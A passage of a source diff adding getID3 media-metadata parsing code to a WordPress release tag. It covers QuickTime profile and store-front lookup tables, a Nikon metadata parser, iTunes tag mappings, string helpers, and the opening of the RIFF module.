+				0x13 => 'High Quality Audio Profile @ Level 6',
+				0x14 => 'High Quality Audio Profile @ Level 7',
+				0x15 => 'High Quality Audio Profile @ Level 8',
+				0x16 => 'Low Delay Audio Profile @ Level 1',
+				0x17 => 'Low Delay Audio Profile @ Level 2',
+				0x18 => 'Low Delay Audio Profile @ Level 3',
+				0x19 => 'Low Delay Audio Profile @ Level 4',
+				0x1A => 'Low Delay Audio Profile @ Level 5',
+				0x1B => 'Low Delay Audio Profile @ Level 6',
+				0x1C => 'Low Delay Audio Profile @ Level 7',
+				0x1D => 'Low Delay Audio Profile @ Level 8',
+				0x1E => 'Natural Audio Profile @ Level 1',
+				0x1F => 'Natural Audio Profile @ Level 2',
+				0x20 => 'Natural Audio Profile @ Level 3',
+				0x21 => 'Natural Audio Profile @ Level 4',
+				0x22 => 'Mobile Audio Internetworking Profile @ Level 1',
+				0x23 => 'Mobile Audio Internetworking Profile @ Level 2',
+				0x24 => 'Mobile Audio Internetworking Profile @ Level 3',
+				0x25 => 'Mobile Audio Internetworking Profile @ Level 4',
+				0x26 => 'Mobile Audio Internetworking Profile @ Level 5',
+				0x27 => 'Mobile Audio Internetworking Profile @ Level 6',
+				0x28 => 'AAC Profile @ Level 1',
+				0x29 => 'AAC Profile @ Level 2',
+				0x2A => 'AAC Profile @ Level 4',
+				0x2B => 'AAC Profile @ Level 5',
+				0x2C => 'High Efficiency AAC Profile @ Level 2',
+				0x2D => 'High Efficiency AAC Profile @ Level 3',
+				0x2E => 'High Efficiency AAC Profile @ Level 4',
+				0x2F => 'High Efficiency AAC Profile @ Level 5',
+				0xFE => 'Not part of MPEG-4 audio profiles',
+				0xFF => 'No audio capability required',
+			);
+		}
+		return (isset($QuicktimeIODSaudioProfileNameLookup[$audio_profile_id]) ? $QuicktimeIODSaudioProfileNameLookup[$audio_profile_id] : 'ISO Reserved / User Private');
+	}
+
+
+	public function QuicktimeIODSvideoProfileName($video_profile_id) {
+		static $QuicktimeIODSvideoProfileNameLookup = array();
+		if (empty($QuicktimeIODSvideoProfileNameLookup)) {
+			$QuicktimeIODSvideoProfileNameLookup = array(
+				0x00 => 'Reserved (0x00) Profile',
+				0x01 => 'Simple Profile @ Level 1',
+				0x02 => 'Simple Profile @ Level 2',
+				0x03 => 'Simple Profile @ Level 3',
+				0x08 => 'Simple Profile @ Level 0',
+				0x10 => 'Simple Scalable Profile @ Level 0',
+				0x11 => 'Simple Scalable Profile @ Level 1',
+				0x12 => 'Simple Scalable Profile @ Level 2',
+				0x15 => 'AVC/H264 Profile',
+				0x21 => 'Core Profile @ Level 1',
+				0x22 => 'Core Profile @ Level 2',
+				0x32 => 'Main Profile @ Level 2',
+				0x33 => 'Main Profile @ Level 3',
+				0x34 => 'Main Profile @ Level 4',
+				0x42 => 'N-bit Profile @ Level 2',
+				0x51 => 'Scalable Texture Profile @ Level 1',
+				0x61 => 'Simple Face Animation Profile @ Level 1',
+				0x62 => 'Simple Face Animation Profile @ Level 2',
+				0x63 => 'Simple FBA Profile @ Level 1',
+				0x64 => 'Simple FBA Profile @ Level 2',
+				0x71 => 'Basic Animated Texture Profile @ Level 1',
+				0x72 => 'Basic Animated Texture Profile @ Level 2',
+				0x81 => 'Hybrid Profile @ Level 1',
+				0x82 => 'Hybrid Profile @ Level 2',
+				0x91 => 'Advanced Real Time Simple Profile @ Level 1',
+				0x92 => 'Advanced Real Time Simple Profile @ Level 2',
+				0x93 => 'Advanced Real Time Simple Profile @ Level 3',
+				0x94 => 'Advanced Real Time Simple Profile @ Level 4',
+				0xA1 => 'Core Scalable Profile @ Level1',
+				0xA2 => 'Core Scalable Profile @ Level2',
+				0xA3 => 'Core Scalable Profile @ Level3',
+				0xB1 => 'Advanced Coding Efficiency Profile @ Level 1',
+				0xB2 => 'Advanced Coding Efficiency Profile @ Level 2',
+				0xB3 => 'Advanced Coding Efficiency Profile @ Level 3',
+				0xB4 => 'Advanced Coding Efficiency Profile @ Level 4',
+				0xC1 => 'Advanced Core Profile @ Level 1',
+				0xC2 => 'Advanced Core Profile @ Level 2',
+				0xD1 => 'Advanced Scalable Texture @ Level1',
+				0xD2 => 'Advanced Scalable Texture @ Level2',
+				0xE1 => 'Simple Studio Profile @ Level 1',
+				0xE2 => 'Simple Studio Profile @ Level 2',
+				0xE3 => 'Simple Studio Profile @ Level 3',
+				0xE4 => 'Simple Studio Profile @ Level 4',
+				0xE5 => 'Core Studio Profile @ Level 1',
+				0xE6 => 'Core Studio Profile @ Level 2',
+				0xE7 => 'Core Studio Profile @ Level 3',
+				0xE8 => 'Core Studio Profile @ Level 4',
+				0xF0 => 'Advanced Simple Profile @ Level 0',
+				0xF1 => 'Advanced Simple Profile @ Level 1',
+				0xF2 => 'Advanced Simple Profile @ Level 2',
+				0xF3 => 'Advanced Simple Profile @ Level 3',
+				0xF4 => 'Advanced Simple Profile @ Level 4',
+				0xF5 => 'Advanced Simple Profile @ Level 5',
+				0xF7 => 'Advanced Simple Profile @ Level 3b',
+				0xF8 => 'Fine Granularity Scalable Profile @ Level 0',
+				0xF9 => 'Fine Granularity Scalable Profile @ Level 1',
+				0xFA => 'Fine Granularity Scalable Profile @ Level 2',
+				0xFB => 'Fine Granularity Scalable Profile @ Level 3',
+				0xFC => 'Fine Granularity Scalable Profile @ Level 4',
+				0xFD => 'Fine Granularity Scalable Profile @ Level 5',
+				0xFE => 'Not part of MPEG-4 Visual profiles',
+				0xFF => 'No visual capability required',
+			);
+		}
+		return (isset($QuicktimeIODSvideoProfileNameLookup[$video_profile_id]) ? $QuicktimeIODSvideoProfileNameLookup[$video_profile_id] : 'ISO Reserved Profile');
+	}
+
+
+	public function QuicktimeContentRatingLookup($rtng) {
+		static $QuicktimeContentRatingLookup = array();
+		if (empty($QuicktimeContentRatingLookup)) {
+			$QuicktimeContentRatingLookup[0]  = 'None';
+			$QuicktimeContentRatingLookup[2]  = 'Clean';
+			$QuicktimeContentRatingLookup[4]  = 'Explicit';
+		}
+		return (isset($QuicktimeContentRatingLookup[$rtng]) ? $QuicktimeContentRatingLookup[$rtng] : 'invalid');
+	}
+
+	public function QuicktimeStoreAccountTypeLookup($akid) {
+		static $QuicktimeStoreAccountTypeLookup = array();
+		if (empty($QuicktimeStoreAccountTypeLookup)) {
+			$QuicktimeStoreAccountTypeLookup[0] = 'iTunes';
+			$QuicktimeStoreAccountTypeLookup[1] = 'AOL';
+		}
+		return (isset($QuicktimeStoreAccountTypeLookup[$akid]) ? $QuicktimeStoreAccountTypeLookup[$akid] : 'invalid');
+	}
+
+	public function QuicktimeStoreFrontCodeLookup($sfid) {
+		static $QuicktimeStoreFrontCodeLookup = array();
+		if (empty($QuicktimeStoreFrontCodeLookup)) {
+			$QuicktimeStoreFrontCodeLookup[143460] = 'Australia';
+			$QuicktimeStoreFrontCodeLookup[143445] = 'Austria';
+			$QuicktimeStoreFrontCodeLookup[143446] = 'Belgium';
+			$QuicktimeStoreFrontCodeLookup[143455] = 'Canada';
+			$QuicktimeStoreFrontCodeLookup[143458] = 'Denmark';
+			$QuicktimeStoreFrontCodeLookup[143447] = 'Finland';
+			$QuicktimeStoreFrontCodeLookup[143442] = 'France';
+			$QuicktimeStoreFrontCodeLookup[143443] = 'Germany';
+			$QuicktimeStoreFrontCodeLookup[143448] = 'Greece';
+			$QuicktimeStoreFrontCodeLookup[143449] = 'Ireland';
+			$QuicktimeStoreFrontCodeLookup[143450] = 'Italy';
+			$QuicktimeStoreFrontCodeLookup[143462] = 'Japan';
+			$QuicktimeStoreFrontCodeLookup[143451] = 'Luxembourg';
+			$QuicktimeStoreFrontCodeLookup[143452] = 'Netherlands';
+			$QuicktimeStoreFrontCodeLookup[143461] = 'New Zealand';
+			$QuicktimeStoreFrontCodeLookup[143457] = 'Norway';
+			$QuicktimeStoreFrontCodeLookup[143453] = 'Portugal';
+			$QuicktimeStoreFrontCodeLookup[143454] = 'Spain';
+			$QuicktimeStoreFrontCodeLookup[143456] = 'Sweden';
+			$QuicktimeStoreFrontCodeLookup[143459] = 'Switzerland';
+			$QuicktimeStoreFrontCodeLookup[143444] = 'United Kingdom';
+			$QuicktimeStoreFrontCodeLookup[143441] = 'United States';
+		}
+		return (isset($QuicktimeStoreFrontCodeLookup[$sfid]) ? $QuicktimeStoreFrontCodeLookup[$sfid] : 'invalid');
+	}
+
+	public function QuicktimeParseNikonNCTG($atom_data) {
+		// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
+		// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
+		// Data is stored as records of:
+		// * 4 bytes record type
+		// * 2 bytes size of data field type:
+		//     0x0001 = flag   (size field *= 1-byte)
+		//     0x0002 = char   (size field *= 1-byte)
+		//     0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
+		//     0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
+		//     0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
+		//     0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
+		//     0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
+		// * 2 bytes data size field
+		// * ? bytes data (string data may be null-padded; datestamp fields are in the format "2011:05:25 20:24:15")
+		// all integers are stored BigEndian
+
+		$NCTGtagName = array(
+			0x00000001 => 'Make',
+			0x00000002 => 'Model',
+			0x00000003 => 'Software',
+			0x00000011 => 'CreateDate',
+			0x00000012 => 'DateTimeOriginal',
+			0x00000013 => 'FrameCount',
+			0x00000016 => 'FrameRate',
+			0x00000022 => 'FrameWidth',
+			0x00000023 => 'FrameHeight',
+			0x00000032 => 'AudioChannels',
+			0x00000033 => 'AudioBitsPerSample',
+			0x00000034 => 'AudioSampleRate',
+			0x02000001 => 'MakerNoteVersion',
+			0x02000005 => 'WhiteBalance',
+			0x0200000b => 'WhiteBalanceFineTune',
+			0x0200001e => 'ColorSpace',
+			0x02000023 => 'PictureControlData',
+			0x02000024 => 'WorldTime',
+			0x02000032 => 'UnknownInfo',
+			0x02000083 => 'LensType',
+			0x02000084 => 'Lens',
+		);
+
+		$offset = 0;
+		$datalength = strlen($atom_data);
+		$parsed = array();
+		while ($offset < $datalength) {
+//echo getid3_lib::PrintHexBytes(substr($atom_data, $offset, 4)).'<br>';
+			$record_type       = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));  $offset += 4;
+			$data_size_type    = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
+			$data_size         = getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));  $offset += 2;
+			switch ($data_size_type) {
+				case 0x0001: // 0x0001 = flag   (size field *= 1-byte)
+					$data = getid3_lib::BigEndian2Int(substr($atom_data, $offset, $data_size * 1));
+					$offset += ($data_size * 1);
+					break;
+				case 0x0002: // 0x0002 = char   (size field *= 1-byte)
+					$data = substr($atom_data, $offset, $data_size * 1);
+					$offset += ($data_size * 1);
+					$data = rtrim($data, "\x00");
+					break;
+				case 0x0003: // 0x0003 = DWORD+ (size field *= 2-byte), values are stored CDAB
+					$data = '';
+					for ($i = $data_size - 1; $i >= 0; $i--) {
+						$data .= substr($atom_data, $offset + ($i * 2), 2);
+					}
+					$data = getid3_lib::BigEndian2Int($data);
+					$offset += ($data_size * 2);
+					break;
+				case 0x0004: // 0x0004 = QWORD+ (size field *= 4-byte), values are stored EFGHABCD
+					$data = '';
+					for ($i = $data_size - 1; $i >= 0; $i--) {
+						$data .= substr($atom_data, $offset + ($i * 4), 4);
+					}
+					$data = getid3_lib::BigEndian2Int($data);
+					$offset += ($data_size * 4);
+					break;
+				case 0x0005: // 0x0005 = float  (size field *= 8-byte), values are stored aaaabbbb where value is aaaa/bbbb; possibly multiple sets of values appended together
+					$data = array();
+					for ($i = 0; $i < $data_size; $i++) {
+						$numerator    = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 0, 4));
+						$denomninator = getid3_lib::BigEndian2Int(substr($atom_data, $offset + ($i * 8) + 4, 4));
+						if ($denomninator == 0) {
+							$data[$i] = false;
+						} else {
+							$data[$i] = (double) $numerator / $denomninator;
+						}
+					}
+					$offset += (8 * $data_size);
+					if (count($data) == 1) {
+						$data = $data[0];
+					}
+					break;
+				case 0x0007: // 0x0007 = bytes  (size field *= 1-byte), values are stored as ??????
+					$data = substr($atom_data, $offset, $data_size * 1);
+					$offset += ($data_size * 1);
+					break;
+				case 0x0008: // 0x0008 = ?????  (size field *= 2-byte), values are stored as ??????
+					$data = substr($atom_data, $offset, $data_size * 2);
+					$offset += ($data_size * 2);
+					break;
+				default:
+echo 'QuicktimeParseNikonNCTG()::unknown $data_size_type: '.$data_size_type.'<br>';
+					break 2;
+			}
+
+			switch ($record_type) {
+				case 0x00000011: // CreateDate
+				case 0x00000012: // DateTimeOriginal
+					$data = strtotime($data);
+					break;
+				case 0x0200001e: // ColorSpace
+					switch ($data) {
+						case 1:
+							$data = 'sRGB';
+							break;
+						case 2:
+							$data = 'Adobe RGB';
+							break;
+					}
+					break;
+				case 0x02000023: // PictureControlData
+					$PictureControlAdjust = array(0=>'default', 1=>'quick', 2=>'full');
+					$FilterEffect = array(0x80=>'off', 0x81=>'yellow', 0x82=>'orange',    0x83=>'red', 0x84=>'green',  0xff=>'n/a');
+					$ToningEffect = array(0x80=>'b&w', 0x81=>'sepia',  0x82=>'cyanotype', 0x83=>'red', 0x84=>'yellow', 0x85=>'green', 0x86=>'blue-green', 0x87=>'blue', 0x88=>'purple-blue', 0x89=>'red-purple', 0xff=>'n/a');
+					$data = array(
+						'PictureControlVersion'     =>                           substr($data,  0,  4),
+						'PictureControlName'        =>                     rtrim(substr($data,  4, 20), "\x00"),
+						'PictureControlBase'        =>                     rtrim(substr($data, 24, 20), "\x00"),
+						//'?'                       =>                           substr($data, 44,  4),
+						'PictureControlAdjust'      => $PictureControlAdjust[ord(substr($data, 48,  1))],
+						'PictureControlQuickAdjust' =>                       ord(substr($data, 49,  1)),
+						'Sharpness'                 =>                       ord(substr($data, 50,  1)),
+						'Contrast'                  =>                       ord(substr($data, 51,  1)),
+						'Brightness'                =>                       ord(substr($data, 52,  1)),
+						'Saturation'                =>                       ord(substr($data, 53,  1)),
+						'HueAdjustment'             =>                       ord(substr($data, 54,  1)),
+						'FilterEffect'              =>         $FilterEffect[ord(substr($data, 55,  1))],
+						'ToningEffect'              =>         $ToningEffect[ord(substr($data, 56,  1))],
+						'ToningSaturation'          =>                       ord(substr($data, 57,  1)),
+					);
+					break;
+				case 0x02000024: // WorldTime
+					// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#WorldTime
+					// timezone is stored as offset from GMT in minutes
+					$timezone = getid3_lib::BigEndian2Int(substr($data, 0, 2));
+					if ($timezone & 0x8000) {
+						$timezone = 0 - (0x10000 - $timezone);
+					}
+					$timezone /= 60;
+
+					$dst = (bool) getid3_lib::BigEndian2Int(substr($data, 2, 1));
+					switch (getid3_lib::BigEndian2Int(substr($data, 3, 1))) {
+						case 2:
+							$datedisplayformat = 'D/M/Y'; break;
+						case 1:
+							$datedisplayformat = 'M/D/Y'; break;
+						case 0:
+						default:
+							$datedisplayformat = 'Y/M/D'; break;
+					}
+
+					$data = array('timezone'=>floatval($timezone), 'dst'=>$dst, 'display'=>$datedisplayformat);
+					break;
+				case 0x02000083: // LensType
+					$data = array(
+						//'_'  => $data,
+						'mf' => (bool) ($data & 0x01),
+						'd'  => (bool) ($data & 0x02),
+						'g'  => (bool) ($data & 0x04),
+						'vr' => (bool) ($data & 0x08),
+					);
+					break;
+			}
+			$tag_name = (isset($NCTGtagName[$record_type]) ? $NCTGtagName[$record_type] : '0x'.str_pad(dechex($record_type), 8, '0', STR_PAD_LEFT));
+			$parsed[$tag_name] = $data;
+		}
+		return $parsed;
+	}
+
+
+	public function CopyToAppropriateCommentsSection($keyname, $data, $boxname='') {
+		static $handyatomtranslatorarray = array();
+		if (empty($handyatomtranslatorarray)) {
+			// http://www.geocities.com/xhelmboyx/quicktime/formats/qtm-layout.txt
+			// http://www.geocities.com/xhelmboyx/quicktime/formats/mp4-layout.txt
+			// http://atomicparsley.sourceforge.net/mpeg-4files.html
+			// https://code.google.com/p/mp4v2/wiki/iTunesMetadata
+			$handyatomtranslatorarray["\xA9".'alb'] = 'album';               // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'ART'] = 'artist';
+			$handyatomtranslatorarray["\xA9".'art'] = 'artist';              // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'aut'] = 'author';
+			$handyatomtranslatorarray["\xA9".'cmt'] = 'comment';             // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'com'] = 'comment';
+			$handyatomtranslatorarray["\xA9".'cpy'] = 'copyright';
+			$handyatomtranslatorarray["\xA9".'day'] = 'creation_date';       // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'dir'] = 'director';
+			$handyatomtranslatorarray["\xA9".'ed1'] = 'edit1';
+			$handyatomtranslatorarray["\xA9".'ed2'] = 'edit2';
+			$handyatomtranslatorarray["\xA9".'ed3'] = 'edit3';
+			$handyatomtranslatorarray["\xA9".'ed4'] = 'edit4';
+			$handyatomtranslatorarray["\xA9".'ed5'] = 'edit5';
+			$handyatomtranslatorarray["\xA9".'ed6'] = 'edit6';
+			$handyatomtranslatorarray["\xA9".'ed7'] = 'edit7';
+			$handyatomtranslatorarray["\xA9".'ed8'] = 'edit8';
+			$handyatomtranslatorarray["\xA9".'ed9'] = 'edit9';
+			$handyatomtranslatorarray["\xA9".'enc'] = 'encoded_by';
+			$handyatomtranslatorarray["\xA9".'fmt'] = 'format';
+			$handyatomtranslatorarray["\xA9".'gen'] = 'genre';               // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'grp'] = 'grouping';            // iTunes 4.2
+			$handyatomtranslatorarray["\xA9".'hst'] = 'host_computer';
+			$handyatomtranslatorarray["\xA9".'inf'] = 'information';
+			$handyatomtranslatorarray["\xA9".'lyr'] = 'lyrics';              // iTunes 5.0
+			$handyatomtranslatorarray["\xA9".'mak'] = 'make';
+			$handyatomtranslatorarray["\xA9".'mod'] = 'model';
+			$handyatomtranslatorarray["\xA9".'nam'] = 'title';               // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'ope'] = 'composer';
+			$handyatomtranslatorarray["\xA9".'prd'] = 'producer';
+			$handyatomtranslatorarray["\xA9".'PRD'] = 'product';
+			$handyatomtranslatorarray["\xA9".'prf'] = 'performers';
+			$handyatomtranslatorarray["\xA9".'req'] = 'system_requirements';
+			$handyatomtranslatorarray["\xA9".'src'] = 'source_credit';
+			$handyatomtranslatorarray["\xA9".'swr'] = 'software';
+			$handyatomtranslatorarray["\xA9".'too'] = 'encoding_tool';       // iTunes 4.0
+			$handyatomtranslatorarray["\xA9".'trk'] = 'track';
+			$handyatomtranslatorarray["\xA9".'url'] = 'url';
+			$handyatomtranslatorarray["\xA9".'wrn'] = 'warning';
+			$handyatomtranslatorarray["\xA9".'wrt'] = 'composer';
+			$handyatomtranslatorarray['aART'] = 'album_artist';
+			$handyatomtranslatorarray['apID'] = 'purchase_account';
+			$handyatomtranslatorarray['catg'] = 'category';            // iTunes 4.9
+			$handyatomtranslatorarray['covr'] = 'picture';             // iTunes 4.0
+			$handyatomtranslatorarray['cpil'] = 'compilation';         // iTunes 4.0
+			$handyatomtranslatorarray['cprt'] = 'copyright';           // iTunes 4.0?
+			$handyatomtranslatorarray['desc'] = 'description';         // iTunes 5.0
+			$handyatomtranslatorarray['disk'] = 'disc_number';         // iTunes 4.0
+			$handyatomtranslatorarray['egid'] = 'episode_guid';        // iTunes 4.9
+			$handyatomtranslatorarray['gnre'] = 'genre';               // iTunes 4.0
+			$handyatomtranslatorarray['hdvd'] = 'hd_video';            // iTunes 4.0
+			$handyatomtranslatorarray['ldes'] = 'description_long';    //
+			$handyatomtranslatorarray['keyw'] = 'keyword';             // iTunes 4.9
+			$handyatomtranslatorarray['pcst'] = 'podcast';             // iTunes 4.9
+			$handyatomtranslatorarray['pgap'] = 'gapless_playback';    // iTunes 7.0
+			$handyatomtranslatorarray['purd'] = 'purchase_date';       // iTunes 6.0.2
+			$handyatomtranslatorarray['purl'] = 'podcast_url';         // iTunes 4.9
+			$handyatomtranslatorarray['rtng'] = 'rating';              // iTunes 4.0
+			$handyatomtranslatorarray['soaa'] = 'sort_album_artist';   //
+			$handyatomtranslatorarray['soal'] = 'sort_album';          //
+			$handyatomtranslatorarray['soar'] = 'sort_artist';         //
+			$handyatomtranslatorarray['soco'] = 'sort_composer';       //
+			$handyatomtranslatorarray['sonm'] = 'sort_title';          //
+			$handyatomtranslatorarray['sosn'] = 'sort_show';           //
+			$handyatomtranslatorarray['stik'] = 'stik';                // iTunes 4.9
+			$handyatomtranslatorarray['tmpo'] = 'bpm';                 // iTunes 4.0
+			$handyatomtranslatorarray['trkn'] = 'track_number';        // iTunes 4.0
+			$handyatomtranslatorarray['tven'] = 'tv_episode_id';       //
+			$handyatomtranslatorarray['tves'] = 'tv_episode';          // iTunes 6.0
+			$handyatomtranslatorarray['tvnn'] = 'tv_network_name';     // iTunes 6.0
+			$handyatomtranslatorarray['tvsh'] = 'tv_show_name';        // iTunes 6.0
+			$handyatomtranslatorarray['tvsn'] = 'tv_season';           // iTunes 6.0
+
+			// boxnames:
+			/*
+			$handyatomtranslatorarray['iTunSMPB']                    = 'iTunSMPB';
+			$handyatomtranslatorarray['iTunNORM']                    = 'iTunNORM';
+			$handyatomtranslatorarray['Encoding Params']             = 'Encoding Params';
+			$handyatomtranslatorarray['replaygain_track_gain']       = 'replaygain_track_gain';
+			$handyatomtranslatorarray['replaygain_track_peak']       = 'replaygain_track_peak';
+			$handyatomtranslatorarray['replaygain_track_minmax']     = 'replaygain_track_minmax';
+			$handyatomtranslatorarray['MusicIP PUID']                = 'MusicIP PUID';
+			$handyatomtranslatorarray['MusicBrainz Artist Id']       = 'MusicBrainz Artist Id';
+			$handyatomtranslatorarray['MusicBrainz Album Id']        = 'MusicBrainz Album Id';
+			$handyatomtranslatorarray['MusicBrainz Album Artist Id'] = 'MusicBrainz Album Artist Id';
+			$handyatomtranslatorarray['MusicBrainz Track Id']        = 'MusicBrainz Track Id';
+			$handyatomtranslatorarray['MusicBrainz Disc Id']         = 'MusicBrainz Disc Id';
+
+			// http://age.hobba.nl/audio/tag_frame_reference.html
+			$handyatomtranslatorarray['PLAY_COUNTER']                = 'play_counter'; // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
+			$handyatomtranslatorarray['MEDIATYPE']                   = 'mediatype';    // Foobar2000 - http://www.getid3.org/phpBB3/viewtopic.php?t=1355
+			*/
+		}
+		$info = &$this->getid3->info;
+		$comment_key = '';
+		if ($boxname && ($boxname != $keyname)) {
+			$comment_key = (isset($handyatomtranslatorarray[$boxname]) ? $handyatomtranslatorarray[$boxname] : $boxname);
+		} elseif (isset($handyatomtranslatorarray[$keyname])) {
+			$comment_key = $handyatomtranslatorarray[$keyname];
+		}
+		if ($comment_key) {
+			if ($comment_key == 'picture') {
+				if (!is_array($data)) {
+					$image_mime = '';
+					if (preg_match('#^\x89\x50\x4E\x47\x0D\x0A\x1A\x0A#', $data)) {
+						$image_mime = 'image/png';
+					} elseif (preg_match('#^\xFF\xD8\xFF#', $data)) {
+						$image_mime = 'image/jpeg';
+					} elseif (preg_match('#^GIF#', $data)) {
+						$image_mime = 'image/gif';
+					} elseif (preg_match('#^BM#', $data)) {
+						$image_mime = 'image/bmp';
+					}
+					$data = array('data'=>$data, 'image_mime'=>$image_mime);
+				}
+			}
+			$gooddata = array($data);
+			if ($comment_key == 'genre') {
+				// some other taggers separate multiple genres with semicolon, e.g. "Heavy Metal;Thrash Metal;Metal"
+				$gooddata = explode(';', $data);
+			}
+			foreach ($gooddata as $data) {
+				$info['quicktime']['comments'][$comment_key][] = $data;
+			}
+		}
+		return true;
+	}
+
+    public function LociString($lstring, &$count) {
+            // Loci strings are UTF-8 or UTF-16 and null (x00/x0000) terminated. UTF-16 has a BOM
+            // Also need to return the number of bytes the string occupied so additional fields can be extracted
+            $len = strlen($lstring);
+            if ($len == 0) {
+                $count = 0;
+                return '';
+            }
+            if ($lstring[0] == "\x00") {
+                $count = 1;
+                return '';
+            }
+            //check for BOM
+            if ($len > 2 && (($lstring[0] == "\xFE" && $lstring[1] == "\xFF") || ($lstring[0] == "\xFF" && $lstring[1] == "\xFE"))) {
+                //UTF-16
+                if (preg_match('/(.*)\x00/', $lstring, $lmatches)){
+                     $count = strlen($lmatches[1]) * 2 + 2; //account for 2 byte characters and trailing \x0000
+                    return getid3_lib::iconv_fallback_utf16_utf8($lmatches[1]);
+                } else {
+                    return '';
+                }
+            } else {
+                //UTF-8
+                if (preg_match('/(.*)\x00/', $lstring, $lmatches)){
+                    $count = strlen($lmatches[1]) + 1; //account for trailing \x00
+                    return $lmatches[1];
+                }else {
+                    return '';
+                }
+
+            }
+        }
+
+	public function NoNullString($nullterminatedstring) {
+		// remove the single null terminator on null terminated strings
+		if (substr($nullterminatedstring, strlen($nullterminatedstring) - 1, 1) === "\x00") {
+			return substr($nullterminatedstring, 0, strlen($nullterminatedstring) - 1);
+		}
+		return $nullterminatedstring;
+	}
+
+	public function Pascal2String($pascalstring) {
+		// Pascal strings have 1 unsigned byte at the beginning saying how many chars (1-255) are in the string
+		return substr($pascalstring, 1);
+	}
+
+
+	/*
+	// helper functions for m4b audiobook chapters
+	// code by Steffen Hartmann 2015-Nov-08
+	*/
+	public function search_tag_by_key($info, $tag, $history, &$result) {
+		foreach ($info as $key => $value) {
+			$key_history = $history.'/'.$key;
+			if ($key === $tag) {
+				$result[] = array($key_history, $info);
+			} else {
+				if (is_array($value)) {
+					$this->search_tag_by_key($value, $tag, $key_history, $result);
+				}
+			}
+		}
+	}
+
+	public function search_tag_by_pair($info, $k, $v, $history, &$result) {
+		foreach ($info as $key => $value) {
+			$key_history = $history.'/'.$key;
+			if (($key === $k) && ($value === $v)) {
+				$result[] = array($key_history, $info);
+			} else {
+				if (is_array($value)) {
+					$this->search_tag_by_pair($value, $k, $v, $key_history, $result);
+				}
+			}
+		}
+	}
+
+	public function quicktime_time_to_sample_table($info) {
+		$res = array();
+		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
+		foreach ($res as $value) {
+			$stbl_res = array();
+			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
+			if (count($stbl_res) > 0) {
+				$stts_res = array();
+				$this->search_tag_by_key($value[1], 'time_to_sample_table', $value[0], $stts_res);
+				if (count($stts_res) > 0) {
+					return $stts_res[0][1]['time_to_sample_table'];
+				}
+			}
+		}
+		return array();
+	}
+
+	function quicktime_bookmark_time_scale($info) {
+		$time_scale = '';
+		$ts_prefix_len = 0;
+		$res = array();
+		$this->search_tag_by_pair($info['quicktime']['moov'], 'name', 'stbl', 'quicktime/moov', $res);
+		foreach ($res as $value) {
+			$stbl_res = array();
+			$this->search_tag_by_pair($value[1], 'data_format', 'text', $value[0], $stbl_res);
+			if (count($stbl_res) > 0) {
+				$ts_res = array();
+				$this->search_tag_by_key($info['quicktime']['moov'], 'time_scale', 'quicktime/moov', $ts_res);
+				foreach ($ts_res as $value) {
+					$prefix = substr($value[0], 0, -12);
+					if ((substr($stbl_res[0][0], 0, strlen($prefix)) === $prefix) && ($ts_prefix_len < strlen($prefix))) {
+						$time_scale = $value[1]['time_scale'];
+						$ts_prefix_len = strlen($prefix);
+					}
+				}
+			}
+		}
+		return $time_scale;
+	}
+	/*
+	// END helper functions for m4b audiobook chapters
+	*/
+
+
+}
Index: /tags/5.0.20/src/wp-includes/ID3/module.audio-video.riff.php
===================================================================
--- /tags/5.0.20/src/wp-includes/ID3/module.audio-video.riff.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/ID3/module.audio-video.riff.php	(revision 56912)
@@ -0,0 +1,2638 @@
+<?php
+/////////////////////////////////////////////////////////////////
+/// getID3() by James Heinrich <info@getid3.org>               //
+//  available at http://getid3.sourceforge.net                 //
+//            or http://www.getid3.org                         //
+//          also https://github.com/JamesHeinrich/getID3       //
+/////////////////////////////////////////////////////////////////
+// See readme.txt for more details                             //
+/////////////////////////////////////////////////////////////////
+//                                                             //
+// module.audio-video.riff.php                                 //
+// module for analyzing RIFF files                             //
+// multiple formats supported by this module:                  //
+//    Wave, AVI, AIFF/AIFC, (MP3,AC3)/RIFF, Wavpack v3, 8SVX   //
+// dependencies: module.audio.mp3.php                          //
+//               module.audio.ac3.php                          //
+//               module.audio.dts.php                          //
+//                                                            ///
+/////////////////////////////////////////////////////////////////
+
+/**
+* @todo Parse AC-3/DTS audio inside WAVE correctly
+* @todo Rewrite RIFF parser totally
+*/
+
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.mp3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.ac3.php', __FILE__, true);
+getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.dts.php', __FILE__, true);
+
+class getid3_riff extends getid3_handler {
+
+	protected $container = 'riff'; // default
+
+	public function Analyze() {
+		$info = &$this->getid3->info;
+
+		// initialize these values to an empty array, otherwise they default to NULL
+		// and you can't append array values to a NULL value
+		$info['riff'] = array('raw'=>array());
+
+		// Shortcuts
+		$thisfile_riff             = &$info['riff'];
+		$thisfile_riff_raw         = &$thisfile_riff['raw'];
+		$thisfile_audio            = &$info['audio'];
+		$thisfile_video            = &$info['video'];
+		$thisfile_audio_dataformat = &$thisfile_audio['dataformat'];
+		$thisfile_riff_audio       = &$thisfile_riff['audio'];
